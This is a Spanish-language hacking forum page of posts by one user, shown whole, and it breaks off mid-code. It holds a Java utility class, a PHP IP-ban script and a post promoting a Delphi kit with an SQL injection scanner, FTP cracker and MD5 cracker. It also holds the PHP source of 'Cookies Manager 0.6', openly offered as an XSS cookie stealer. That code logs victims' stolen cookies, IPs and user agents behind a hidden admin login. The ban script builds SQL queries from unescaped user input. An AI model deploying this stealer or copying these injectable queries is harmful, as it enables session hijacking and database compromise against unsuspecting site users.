Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - BigBear

#61
Java / [Java] Class DH Tools 0.2
Enero 15, 2016, 12:22:38 PM
Mi primer clase en Java , se llama DH Tools y tiene las siguientes opciones :

  • Realizar una peticion GET y guardar el contenido
  • Realizar una peticion POST y guardar el contenido
  • Crear o escribir archivos
  • Leer archivos
  • Ejecutar comandos y leer su respuesta
  • HTTP FingerPrinting
  • Leer el codigo de respuesta de una URL
  • Borrar repetidos en un ArrayList
  • Cortar las URL en un ArrayList a partir del query
  • Split casero xD
  • Descargar archivos
  • Capturar el archivo de una URL
  • URI Split
  • MD5 Encode
  • MD5 File
  • Get IP

    El codigo de la clase :

    Código: java

    // Class : DH Tools
    // Version : 0.2
    // (C) Doddy Hackman 2015
    // Functions :
    //
    //public String toma(String link)
    //public String tomar(String pagina, String data)
    //public void savefile(String ruta, String texto)
    //public String read_file(String ruta)
    //public String console(String command)
    //public String httpfinger(String target)
    //public Integer response_code(String page)
    //public ArrayList repes(ArrayList array)
    //public ArrayList cortar(ArrayList array)
    //public String regex(String code, String deaca, String hastaaca)
    //public Boolean download(String url, File savefile)
    //public String extract_file_by_url(String url)
    //public String uri_split(String link, String opcion)
    //public String md5_encode(String text)
    //public String md5_file(String file)
    //public String get_ip(String hostname)
    //
    package dhtools;

    import java.io.*;
    import java.net.*;
    import java.nio.channels.Channels;
    import java.nio.channels.ReadableByteChannel;
    import java.util.ArrayList;
    import java.util.Scanner;
    import java.util.regex.Matcher;
    import java.util.regex.Pattern;
    import java.security.*;

    public class DH_Tools {

        public String toma(String link) {
            String re;
            StringBuffer conte = new StringBuffer(40);
            try {
                URL url = new URL(link);
                URLConnection nave = url.openConnection();
                nave.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
                BufferedReader leyendo = new BufferedReader(
                        new InputStreamReader(nave.getInputStream()));
                while ((re = leyendo.readLine()) != null) {
                    conte.append(re);
                }
                leyendo.close();
            } catch (Exception e) {
                //
            }
            return conte.toString();
        }

        public String tomar(String pagina, String data) {
            // Credits : Function based in http://www.mkyong.com/java/how-to-send-http-request-getpost-in-java/
            String respuesta = "";

            try {
                URL url_now = new URL(pagina);
                HttpURLConnection nave = (HttpURLConnection) url_now.openConnection();

                nave.setRequestMethod("POST");
                nave.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");

                nave.setDoOutput(true);
                DataOutputStream send = new DataOutputStream(nave.getOutputStream());
                send.writeBytes(data);
                send.flush();
                send.close();

                BufferedReader leyendo = new BufferedReader(new InputStreamReader(nave.getInputStream()));
                StringBuffer code = new StringBuffer();
                String linea;

                while ((linea = leyendo.readLine()) != null) {
                    code.append(linea);
                }
                leyendo.close();
                respuesta = code.toString();
            } catch (Exception e) {
                //
            }
            return respuesta;
        }

        public void savefile(String ruta, String texto) {

            FileWriter escribir = null;
            File archivo = null;

            try {

                archivo = new File(ruta);

                if (!archivo.exists()) {
                    archivo.createNewFile();
                }

                escribir = new FileWriter(archivo, true);
                escribir.write(texto);
                escribir.flush();
                escribir.close();

            } catch (Exception e) {
                //
            }
        }

        public String read_file(String ruta) {
            String contenido = null;
            try {
                Scanner leyendo = new Scanner(new FileReader(ruta));
                contenido = leyendo.next();
            } catch (Exception e) {
                //
            }
            return contenido;
        }

        public String console(String command) {
            String contenido = null;
            try {
                Process proceso = Runtime.getRuntime().exec("cmd /c " + command);
                proceso.waitFor();
                BufferedReader leyendo = new BufferedReader(
                        new InputStreamReader(proceso.getInputStream()));
                String linea;
                StringBuffer code = new StringBuffer();
                while ((linea = leyendo.readLine()) != null) {
                    code.append(linea);
                }
                contenido = code.toString();
            } catch (Exception e) {
                //
            }
            return contenido;
        }

        public String httpfinger(String target) {

            String resultado = "";

            //http://www.mkyong.com/java/how-to-get-http-response-header-in-java/
            try {

                URL page = new URL(target);
                URLConnection nave = page.openConnection();

                String server = nave.getHeaderField("Server");
                String etag = nave.getHeaderField("ETag");
                String content_length = nave.getHeaderField("Content-Length");
                String expires = nave.getHeaderField("Expires");
                String last_modified = nave.getHeaderField("Last-Modified");
                String connection = nave.getHeaderField("Connection");
                String powered = nave.getHeaderField("X-Powered-By");
                String pragma = nave.getHeaderField("Pragma");
                String cache_control = nave.getHeaderField("Cache-Control");
                String date = nave.getHeaderField("Date");
                String vary = nave.getHeaderField("Vary");
                String content_type = nave.getHeaderField("Content-Type");
                String accept_ranges = nave.getHeaderField("Accept-Ranges");

                if (server != null) {
                    resultado += "[+] Server : " + server + "\n";
                }
                if (etag != null) {
                    resultado += "[+] E-tag : " + etag + "\n";
                }
                if (content_length != null) {
                    resultado += "[+] Content-Length : " + content_length + "\n";
                }

                if (expires != null) {
                    resultado += "[+] Expires : " + expires + "\n";
                }

                if (last_modified != null) {
                    resultado += "[+] Last Modified : " + last_modified + "\n";
                }

                if (connection != null) {
                    resultado += "[+] Connection : " + connection + "\n";
                }

                if (powered != null) {
                    resultado += "[+] Powered : " + powered + "\n";
                }

                if (pragma != null) {
                    resultado += "[+] Pragma : " + pragma + "\n";
                }

                if (cache_control != null) {
                    resultado += "[+] Cache control : " + cache_control + "\n";
                }

                if (date != null) {
                    resultado += "[+] Date : " + date + "\n";
                }
                if (vary != null) {
                    resultado += "[+] Vary : " + vary + "\n";
                }
                if (content_type != null) {
                    resultado += "[+] Content-Type : " + content_type + "\n";
                }
                if (accept_ranges != null) {
                    resultado += "[+] Accept Ranges : " + accept_ranges + "\n";
                }

            } catch (Exception e) {
                //
            }

            return resultado;

        }

        public Integer response_code(String page) {
            Integer response = 0;
            try {
                URL url = new URL(page);
                URLConnection nave1 = url.openConnection();
                HttpURLConnection nave2 = (HttpURLConnection) nave1;
                nave2.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
                response = nave2.getResponseCode();
            } catch (Exception e) {
                response = 404;
            }
            return response;
        }

        public ArrayList repes(ArrayList array) {
            Object[] listando = array.toArray();
            for (Object item : listando) {
                if (array.indexOf(item) != array.lastIndexOf(item)) {
                    array.remove(array.lastIndexOf(item));
                }
            }
            return array;
        }

        public ArrayList cortar(ArrayList array) {
            ArrayList array2 = new ArrayList();
            for (int i = 0; i < array.size(); i++) {
                String code = (String) array.get(i);
                Pattern regex1 = null;
                Matcher regex2 = null;
                regex1 = Pattern.compile("(.*?)=(.*?)");
                regex2 = regex1.matcher(code);
                if (regex2.find()) {
                    array2.add(regex2.group(1) + "=");
                }
            }
            return array2;
        }

        public String regex(String code, String deaca, String hastaaca) {
            String resultado = "";
            Pattern regex1 = null;
            Matcher regex2 = null;
            regex1 = Pattern.compile(deaca + "(.*?)" + hastaaca);
            regex2 = regex1.matcher(code);
            if (regex2.find()) {
                resultado = regex2.group(1);
            }
            return resultado;
        }

        public Boolean download(String url, File savefile) {
            // Credits : Based on http://stackoverflow.com/questions/921262/how-to-download-and-save-a-file-from-internet-using-java
            // Thanks to Brian Risk
            try {
                URL download_page = new URL(url);
                ReadableByteChannel down1 = Channels.newChannel(download_page.openStream());
                FileOutputStream down2 = new FileOutputStream(savefile);
                down2.getChannel().transferFrom(down1, 0, Long.MAX_VALUE);
                down1.close();
                down2.close();
                return true;
            } catch (IOException e) {
                return false;
            }
        }

        public String extract_file_by_url(String url) {
            return url.substring(url.lastIndexOf('/') + 1);
        }

        public String uri_split(String link, String opcion) {
            String resultado = "";
            try {
                URL url = new URL(link);
                if (opcion == "protocol") {
                    resultado = url.getProtocol();
                } else if (opcion == "authority") {
                    resultado = url.getAuthority();
                } else if (opcion == "host") {
                    resultado = url.getHost();
                } else if (opcion == "port") {
                    resultado = String.valueOf(url.getPort());
                } else if (opcion == "path") {
                    resultado = url.getPath();
                } else if (opcion == "query") {
                    resultado = url.getQuery();
                } else if (opcion == "filename") {
                    resultado = url.getFile();
                } else if (opcion == "ref") {
                    resultado = url.getRef();
                } else {
                    resultado = "Error";
                }

            } catch (Exception e) {
                //
            }
            return resultado;
        }

        public String md5_encode(String text) {
            // Credits : Based on http://www.avajava.com/tutorials/lessons/how-do-i-generate-an-md5-digest-for-a-string.html
            StringBuffer string_now = null;
            try {
                MessageDigest generate = MessageDigest.getInstance("MD5");
                generate.update(text.getBytes());
                byte[] result = generate.digest();
                string_now = new StringBuffer();
                for (byte line : result) {
                    string_now.append(String.format("%02x", line & 0xff));
                }
            } catch (Exception e) {
                //
            }
            return string_now.toString();
        }

        public String md5_file(String file) {
            //Credits : Based on http://stackoverflow.com/questions/304268/getting-a-files-md5-checksum-in-java
            // Thanks to
            String resultado = "";
            try {
                MessageDigest convert = MessageDigest.getInstance("MD5");
                FileInputStream file_now = new FileInputStream(file);

                byte[] bytes_now = new byte[1024];

                int now_now = 0;
                while ((now_now = file_now.read(bytes_now)) != -1) {
                    convert.update(bytes_now, 0, now_now);
                };
                byte[] converting = convert.digest();
                StringBuffer result = new StringBuffer();
                for (int i = 0; i < converting.length; i++) {
                    result.append(Integer.toString((converting[i] & 0xff) + 0x100, 16).substring(1));
                }
                resultado = result.toString();
            } catch (Exception e) {
                //
            }
            return resultado;
        }

        public String get_ip(String hostname) {
            String resultado = "";
            try {
                InetAddress getting_ip = InetAddress.getByName(hostname);
                resultado = getting_ip.getHostAddress();
            } catch (Exception e) {
                //
            }
            return resultado;
        }
    }

    // The End ?


    Ejemplos de uso :

    Código: java

    package dhtools;

    import java.util.ArrayList;
    import java.util.Collections;

    public class Main {

        public static void main(String[] args) {
            DH_Tools tools = new DH_Tools();
            //String codigo = tools.toma("http://localhost/");
            //String codigo = tools.tomar("http://localhost/login.php", "usuario=test&password=dsdsads&control=Login");
            //tools.savefile("c:/xampp/texto.txt","texto");
            //String codigo = tools.read_file("c:/xampp/texto.txt");
            //String codigo = tools.console("ver");
            //String codigo = tools.httpfinger("http://www.petardas.com");
            /*
             ArrayList array = new ArrayList();
             Collections.addAll(array, "http://localhost/sql.php?id=dsaadsds", "b", "http://localhost/sql.php?id=dsaadsds", "c");
             ArrayList array2 = tools.repes(tools.cortar(array));
             for (int i = 0; i < array2.size(); i++) {
             System.out.println(array2.get(i));
             }
             */
            //System.out.println(tools.regex("1sadasdsa2","1","2"));
            //System.out.println(tools.response_code("http://www.petardas.com/"));
            /*
             File savefile = new File("c:/xampp/mierda.avi");
             if(tools.download("http://localhost/test.avi",savefile)) {
             System.out.println("yeah");
             }
             */

            //System.out.println(tools.extract_file_by_url("http://localhost/dsaads/dsadsads/index.php"));
            //System.out.println(tools.uri_split("http://localhost/index.php?id=dadsdsa","query"));
            //System.out.println(tools.md5_encode("123"));
            //System.out.println(tools.md5_file("c:\\xampp\\texto.txt"));
            //System.out.println(tools.get_ip("www.petardas.com"));
        }

    }


    Eso seria todo.
#62
Back-end / [PHP] Ban System 0.3
Enero 08, 2016, 03:23:28 PM
Un simple script en PHP para banear una IP en una pagina.

Una imagen :



Los codigos :

index.php

Código: php

<?php

// Ban System 0.3
// (C) Doddy Hackman 2015

// Login

$username = "admin"; // Edit
$password = "21232f297a57a5a743894a0e4a801fc3"; // Edit

//

$index = "admin.php"; // Edit

if (isset($_GET['poraca'])) {
   
    echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <title>Login</title>
      <link rel="shortcut icon" href="images/icono.png">
      <link href="style.css" rel="stylesheet" type="text/css" />
   </head>
   <body>
      <center><br>
         <div class="post">
            <h3>Login</h3>
            <div class="post_body">
               <img src="images/login.jpg" width="562" height="440" />
               <br />
               <form action="" method=POST>
                  Username : <input type=text size=30 name=username /><br

/><br />
                  Password : <input type=password size=30 name=password

/><br /><br />
                  <input type=submit name=login style="width: 100px;"

value=Login /><br /><br />
               </form>
            </div>
         </div>
      </center>
   </body>
</html>';
   
    if (isset($_POST['login'])) {
       
        $test_username = $_POST['username'];
        $test_password = md5($_POST['password']);
       
        if ($test_username == $username && $test_password == $password) {
            setcookie("login", base64_encode($test_username . "@" . $test_password));
            echo "<script>alert('Welcome idiot');</script>";
            $ruta = "http://" . $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']) . "/" . $index;
            echo '<meta http-equiv="refresh" content="0; url=' . htmlentities($ruta) . '"

/>';
        } else {
            echo "<script>alert('Fuck You');</script>";
        }
    }
   
} else {
    echo '<meta http-equiv="refresh" content="0;

url=http://www.petardas.com" />';
}

// The End ?

?>


admin.php

Código: php

<?php

// Ban System 0.3
// (C) Doddy Hackman 2015

error_reporting(0);

// Login

$username = "admin"; // Edit
$password = "21232f297a57a5a743894a0e4a801fc3"; // Edit

// DB

$host  = "localhost"; // Edit
$userw = "root"; // Edit
$passw = ""; // Edit
$db    = "ban"; // Edit

if (isset($_COOKIE['login'])) {
   
    $st = base64_decode($_COOKIE['login']);
   
    $plit = explode("@", $st);
    $user = $plit[0];
    $pass = $plit[1];
   
    if ($user == $username and $pass == $password) {
       
        mysql_connect($host, $userw, $passw);
        mysql_select_db($db);
       
        echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
   <head>
      <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
      <title>Ban System 0.3</title>
      <link href="style.css" rel="stylesheet" type="text/css" />
      <link rel="shortcut icon" href="images/icono.png">
   </head>
   <body>
   <center>';
       
        mysql_connect($host, $userw, $passw);
        mysql_select_db($db);
       
        echo '         <br><img src="images/ban.png" /><br><br>';
       
        if (isset($_POST['instalar'])) {
           
            $todo = "create table ban_system (
id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
ip TEXT NOT NULL,
PRIMARY KEY(id));
";
           
            if (mysql_query($todo)) {
                echo "<script>alert('Installed');</script>";
                echo '<meta http-equiv="refresh" content=0;URL=>';
            } else {
                echo "<script>alert('Error');</script>";
            }
        }
       
        if (mysql_num_rows(mysql_query("show tables like 'ban_system'"))) {
           
            echo "<title>Ban System 0.3 Administracion</title>";
           
            if (isset($_POST['ipadd'])) {
               
                $ipfinal = ip2long($_POST['ipadd']);
                $ipaz    = $_POST['ipadd'];
               
                if ($ipfinal == -1 || $ipfinal === FALSE) {
                    echo "<script>alert('IP invalid');</script>";
                   
                } else {
                   
                    if (mysql_query("INSERT INTO ban_system (id,ip) values (NULL,'$ipaz')")) {
                        echo "<script>alert('IP added');</script>";
                    } else {
                        echo "<script>alert('Error');</script>";
                    }
                   
                   
                }
            }
           
            if (isset($_GET['del'])) {
                $id = $_GET['del'];
                if (@mysql_query("DELETE FROM ban_system where id ='$id'")) {
                    echo "<script>alert('IP Deleted');</script>";
                } else {
                    echo "<script>alert('Error');</script>";
                }
            }
           
            echo '
            <div class="post">
                <h3>Add IP</h3>
                   <div class="post_body">';
           
            echo "<br>
<form action='' method=POST>
<b>IP : </b><input type=text name=ipadd value=127.0.0.1> <input type=submit style='width: 100px;' value=Add>
</form><br>";
           
            echo '                </div>
            </div>';
           
           
            $sql       = "select id from ban_system";
            $resultado = mysql_query($sql);
            $cantidad  = mysql_num_rows($resultado);
           
            echo '
            <div class="post">
                <h3>Banned : ' . htmlentities($cantidad) . '</h3>
                   <div class="post_body"><br>';
           
            if ($cantidad <= 0) {
                echo '<b>No entries found</b><br>';
            } else {
               
                echo '<table>
<td><b>ID</b></td><td><b>IP</b></td><td><b>Option</b></td><tr>';
               
                $sen = @mysql_query("select * from ban_system order by id ASC");
               
                while ($ab = @mysql_fetch_array($sen)) {
                   
                    echo "<td>" . htmlentities($ab[0]) . "</td><td>" . htmlentities($ab[1]) . "</td><td><a href=?del=" . htmlentities($ab[0]) . ">Delete</a></td><tr>";
                }
               
                echo '</table>';
               
            }
           
            echo '                <br></div>
            </div>';
           
            echo "</table>
</center>
";
            //
        } else {
           
            echo '
            <div class="post">
                <h3>Installer</h3>
                   <div class="post_body">';
           
            echo "
<form action='' method=POST>
<h2>Do you want install Ban System ?</h2><br>
<input type=submit style='width: 100px;' name=instalar value=Install><br><br>
</form>";
           
            echo '                </div>
            </div>';
           
        }
       
        echo '
   <br><h3>(C) Doddy Hackman 2015</h3><br>
   </center>
   </body>
</html>';
       
        mysql_close();
        exit(1);
       
    } else {
        echo "<script>alert('Fuck You');</script>";
    }
} else {
    echo '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
}

?>


style.css

Código: css

/*

==-----------------------------------==
|| Name : DH Theme                   ||
|| Version : 0.8                     || 
|| Author : Doddy H                  ||
|| Description: Templante            ||
|| Date : 14/1/2015                  ||
==-----------------------------------==

*/

body {
background:transparent url("images/fondo.jpg") repeat scroll 0 0;
color:gray;
font-family:helvetica,arial,sans-serif;
font-size:14px;
text-align:center;
}

a:link {
text-decoration:none;
color:orange;
}
a:visited {
color:orange;
}
a:hover {
color:orange;
}

td,tr {
border-style:solid;
border-color: gray;
border-width: 1px;
background: black;
border: solid #222 2px;
color:gray;
font-family:helvetica,arial,sans-serif;
font-size:14px;
text-align:center;

word-wrap: break-word;
word-break:break-all;
}

input {
border-style:solid;
border-color: gray;
border-width: 1px;
background: black;
border: solid #222 2px;
color:gray;
font-family:helvetica,arial,sans-serif;
font-size:14px;
}

.post {
background-color:black;
color:gray;
margin-bottom:10px;
width:600px;
word-wrap: break-word;
}

.post h3 {
background-color:black;
color:orange;
background-color:#000;
border: solid #222 2px;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
padding:5px 10px;
}

.post_body {
background-color:black;
margin:-20px 0 0 0;
color:white;
background-color:#000;
border: solid #222 2px;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
padding:5px 10px;
}

/* The End ? */


ban.php

Código: php

<?php

// Ban System 0.3
// (C) Doddy Hackman 2015

error_reporting(0);

// DB

$host  = "localhost"; // Edit
$userw = "root"; // Edit
$passw = ""; // Edit
$db    = "ban"; // Edit

//

$texto = "Acceso Denegado"; // Edit

mysql_connect($host, $userw, $passw);
mysql_select_db($db);

$ipa = ip2long($_SERVER['REMOTE_ADDR']);
$ip  = $_SERVER['REMOTE_ADDR'];

if ($ip == "::1") {
    $ipa = 1;
}

if ($ipa == -1 || $ipa === FALSE) {
    echo "<script>alert('Good try');</script>";
} else {
   
    if ($ip == "::1") {
        $ip = "127.0.0.1";
    }
    $re = mysql_query("select ip from ban_system where ip='$ip'");
   
    if (mysql_num_rows($re) > 0) {
        echo "<center><h1>" . htmlentities($texto) . "</h1></center>";
        exit(1);
    }
   
}

mysql_close();

// The End ?

?>


test.php

Código: php

<?php

include("ban.php");

echo "aca toy";

?>


Si quieren bajar el programa lo pueden hacer de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
#63
Para mi , si sirven , lo digo porque no puedo programar en paz sin que el antivirus detecte lo que hago y lo borre por malware.
#64
Perl / Re:[Perl] Project HellStorm 1.2
Diciembre 29, 2015, 10:10:59 PM
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola.

Verdaderamente interesante el Project HellStorm. ¿Tienes pensado hacer remake al programa para que tenga mas funciones? Estaría interesante agregarle algunas cosillas mas.

En realidad no me gustaria que editaras mi codigo para un "remake" , pero si , si va haber una nueva version.

Saludos.
#65
Ok , gracias Antrax , ojala Delphi XE2 incorpore un skin matrix de este tipo en vez de tener que usar AlphaControls  :(.
#66
Yo prefiero primero la carrera y despues las certificaciones si tendria tiempo con el trabajo despues , este tipo de cosas es lo primero que se pregunta en las entrevistas de trabajo.

#67
Version en Delphi de este programa similar al juego HackTheGame pero con la unica diferencia de que todo es real xD , tiene las siguientes opciones :

  • Gmail Inbox
  • Ping
  • Get IP

  • K0bra (Scanner SQLI)
    [++] Comprobar vulnerabilidad
    [++] Buscar numero de columnas
    [++] Buscar automaticamente el numero para mostrar datos
    [++] Mostras tablas
    [++] Mostrar columnas
    [++] Mostrar bases de datos
    [++] Mostrar tablas de otra DB
    [++] Mostrar columnas de una tabla de otra DB
    [++] Mostrar usuarios de mysql.user
    [++] Buscar archivos usando load_file
    [++] Mostrar un archivo usando load_file
    [++] Mostrar valores
    [++] Mostrar informacion sobre la DB
    [++] Crear una shell usando outfile
    [++] Todo se guarda en logs ordenados

  • Panel Control
  • FTP Cracker
  • Whois
  • Downloader
  • Locate IP
  • MD5 Cracker
  • Port Scanner
  • Bing Scanner
  • Console

    Una imagen :



    Un video con ejemplos de uso :



    Para leer el correo necesitan tener instalado No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para que el inbox les funcione , tambien necesitan habilitar la opcion de "Acceso de aplicaciones menos seguras" desde este No tienes permitido ver los links. Registrarse o Entrar a mi cuenta para la cuenta Gmail que van a usar.

    Si quieren bajar el programa lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.
#68
Off Topic / Re:Feliz Hackingdad!
Diciembre 25, 2015, 01:06:40 AM
Si Windux , ahora era el momento indicado xD.
#69
Off Topic / Re:Feliz Hackingdad!
Diciembre 24, 2015, 02:11:55 PM
Todavia falta , pero bueno , feliz navidad a todos.

Saludos.
#70
Yo solo aprendo leyendo codigos y leyendo la documentacion de las funciones de php cuando tengo dudas.

Saludos.
#71
Back-end / [PHP] Cookies Manager 0.6
Diciembre 18, 2015, 05:42:11 PM
Hoy les traigo una version mejorada de este cookie stealer que les permite capturar,guardar y generar cookies para el robo de cookies usando XSS.

Tiene las siguientes opciones :

  • Cookie Stealer con generador de TinyURL
  • Pueden ver los cookies que les devuelve una pagina
  • Pueden crear cookies con los datos que quieran
  • Panel oculto con login para entrar usen ?poraca para encontrar al login

    Una imagen :



    Los codigos :

    index.php

    Código: php

    <?php

    // Cookies Manager 0.6
    // (C) Doddy Hackman 2015

    // Login

    $username = "admin"; // Edit
    $password = "21232f297a57a5a743894a0e4a801fc3"; // Edit

    //

    $index = "imagen.php"; // Edit

    if (isset($_GET['poraca'])) {
       
        echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
       <head>
          <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
          <title>Login</title>
          <link rel="shortcut icon" href="images/icono.png">
          <link href="style.css" rel="stylesheet" type="text/css" />
       </head>
       <body>
          <center><br>
             <div class="post">
                <h3>Login</h3>
                <div class="post_body">
                   <img src="images/login.jpg" width="562" height="440" />
                   <br />
                   <form action="" method=POST>
                      Username : <input type=text size=30 name=username /><br /><br />
                      Password : <input type=password size=30 name=password /><br /><br />
                      <input type=submit name=login style="width: 100px;" value=Login /><br /><br />
                   </form>
                </div>
             </div>
          </center>
       </body>
    </html>';
       
        if (isset($_POST['login'])) {
           
            $test_username = $_POST['username'];
            $test_password = md5($_POST['password']);
           
            if ($test_username == $username && $test_password == $password) {
                setcookie("login", base64_encode($test_username . "@" . $test_password));
                echo "<script>alert('Welcome idiot');</script>";
                $ruta = "http://" . $_SERVER['HTTP_HOST'] . dirname($_SERVER['PHP_SELF']) . "/" . $index;
                echo '<meta http-equiv="refresh" content="0; url=' . htmlentities($ruta) . '" />';
            } else {
                echo "<script>alert('Fuck You');</script>";
            }
        }
       
    } else {
        echo '<meta http-equiv="refresh" content="0; url=http://www.petardas.com" />';
    }

    // The End ?

    ?>


    imagen.php

    Código: php

    <?php

    // Cookies Manager 0.6
    // (C) Doddy Hackman 2015

    // Login

    $username = "admin"; // Edit
    $password = "21232f297a57a5a743894a0e4a801fc3"; // Edit

    // DB

    $host  = "localhost"; // Edit
    $userw = "root"; // Edit
    $passw = ""; // Edit
    $db    = "cookies"; // Edit

    // Functions

    function hex_encode($text)
    {
        $texto = chunk_split(bin2hex($text), 2, '%');
        return $texto = '%' . substr($texto, 0, strlen($texto) - 1);
    }

    function parsear_cookie($leyendo)
    {
       
        $leyendo   = str_replace("comment=", "", $leyendo);
        $leyendo   = str_replace("Set-Cookie: ", "", $leyendo);
        $contenido = explode(";", $leyendo);
       
        $nombre       = "";
        $valor_cookie = "";
        $expires      = "";
        $path         = "";
        $domain       = "";
        $secure       = "false";
        $httponly     = "false";
       
        foreach ($contenido as $valor) {
           
            if (preg_match("/expires=(.*)/", $valor, $regex)) {
                $expires = $regex[1];
            }
           
            elseif (preg_match("/path=(.*)/", $valor, $regex)) {
                $path = $regex[1];
            } elseif (preg_match("/domain=(.*)/", $valor, $regex)) {
                $domain = $regex[1];
            } elseif (preg_match("/secure=(.*)/", $valor, $regex)) {
                $secure = $regex[1];
            } elseif (preg_match("/httponly=(.*)/", $valor, $regex)) {
                $httponly = $regex[1];
            }
           
            else {
               
                if (preg_match("/(.*)=(.*)/", $valor, $regex)) {
                    $nombre       = $regex[1];
                    $valor_cookie = $regex[2];
                }
               
            }
           
        }
       
        return array(
            $nombre,
            $valor_cookie,
            $expires,
            $path,
            $domain,
            $secure,
            $httponly
        );
       
    }

    function ver_cookies_de_pagina($pagina)
    {
        $cookies = "";
        if (!function_exists('curl_exec')) {
            $options = array(
                'http' => array(
                    'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
                )
            );
            $context = stream_context_create($options);
            file_get_contents($pagina);
            foreach ($http_response_header as $valores) {
                if (preg_match("/Set-Cookie/", $valores)) {
                    $valores = str_replace("Set-Cookie:", "", $valores);
                    $cookies = $cookies . trim($valores) . "\n";
                }
            }
        } else {
            $nave = curl_init($pagina);
            curl_setopt($nave, CURLOPT_TIMEOUT, 5);
            curl_setopt($nave, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($nave, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
            curl_setopt($nave, CURLOPT_HEADER, 1);
            curl_setopt($nave, CURLOPT_NOBODY, 1);
            $contenido = curl_exec($nave);
            curl_close($nave);
            $leyendo = explode("\n", trim($contenido));
           
            foreach ($leyendo as $valores) {
                if (preg_match("/Set-Cookie/", $valores)) {
                    $valores = str_replace("Set-Cookie:", "", $valores);
                    $cookies = $cookies . trim($valores) . "\n";
                }
            }
        }
        return $cookies;
    }

    function toma($target)
    {
        $code = "";
        if (function_exists('curl_exec')) {
            $nave = curl_init($target);
            curl_setopt($nave, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0');
            curl_setopt($nave, CURLOPT_TIMEOUT, 5);
            curl_setopt($nave, CURLOPT_RETURNTRANSFER, true);
            $code = curl_exec($nave);
        } else {
            $options = array(
                'http' => array(
                    'user_agent' => 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0'
                )
            );
            $context = stream_context_create($options);
            $code    = file_get_contents($target);
        }
        return $code;
    }

    //

    error_reporting(0);

    mysql_connect($host, $userw, $passw);
    mysql_select_db($db);

    if (isset($_GET['id'])) {
       
        if (empty($_GET['id'])) {
            error();
        }
       
        $dia = mysql_real_escape_string(date("d.m.Y"));
        $ip  = mysql_real_escape_string($_SERVER["REMOTE_ADDR"]);
       
        if ($ip == "::1") {
            $ip = "127.0.0.1";
        }
       
        $info = mysql_real_escape_string($_SERVER["HTTP_USER_AGENT"]);
        $ref  = mysql_real_escape_string($_SERVER["HTTP_REFERER"]);
       
        $cookie = mysql_real_escape_string($_GET['id']);
       
        mysql_query("INSERT INTO cookies_found(id,fecha,ip,info,cookie) values(NULL,'$dia','$ip','$info','$cookie')");
       
        header("Location:http://www.google.com.ar");
       
    }

    elseif (isset($_COOKIE['login'])) {
       
        $st = base64_decode($_COOKIE['login']);
       
        $plit = explode("@", $st);
        $user = $plit[0];
        $pass = $plit[1];
       
        if ($user == $username and $pass == $password) {
           
            echo '
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml">
       <head>
          <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
          <title>Cookies Manager 0.6</title>
          <link href="style.css" rel="stylesheet" type="text/css" />
          <link rel="shortcut icon" href="images/icono.png">
       </head>
       <body>
       <center>';
           
            echo '<br><img src="images/cookies.png" /><br>';
           
            if (isset($_POST['makecookies'])) {
               
                if (setcookie($_POST['name_cookie'], $_POST['value_cookie'], time() + 7200, $_POST['path_cookie'], $_POST['domain_cookie'])) {
                    echo "<script>alert('Cookie maked');</script>";
                } else {
                    echo "<script>alert('Error making Cookie');</script>";
                }
            }
           
            $edit_name       = "";
            $edit_value      = "";
            $edit_expire     = "";
            $edit_path       = "";
            $edit_domain     = "";
            $edit_secure     = "";
            $edit_httponline = "";
           
            if (isset($_POST['instalar'])) {
               
                $cookies_found = "create table cookies_found (
    id int(10) UNSIGNED NOT NULL AUTO_INCREMENT,
    fecha TEXT NOT NULL,
    ip TEXT NOT NULL,
    info TEXT NOT NULL,
    cookie TEXT NOT NULL,
    PRIMARY KEY (id));
    ";
               
                if (mysql_query($cookies_found)) {
                    echo "<script>alert('Installed');</script>";
                } else {
                    echo "<script>alert('Error');</script>";
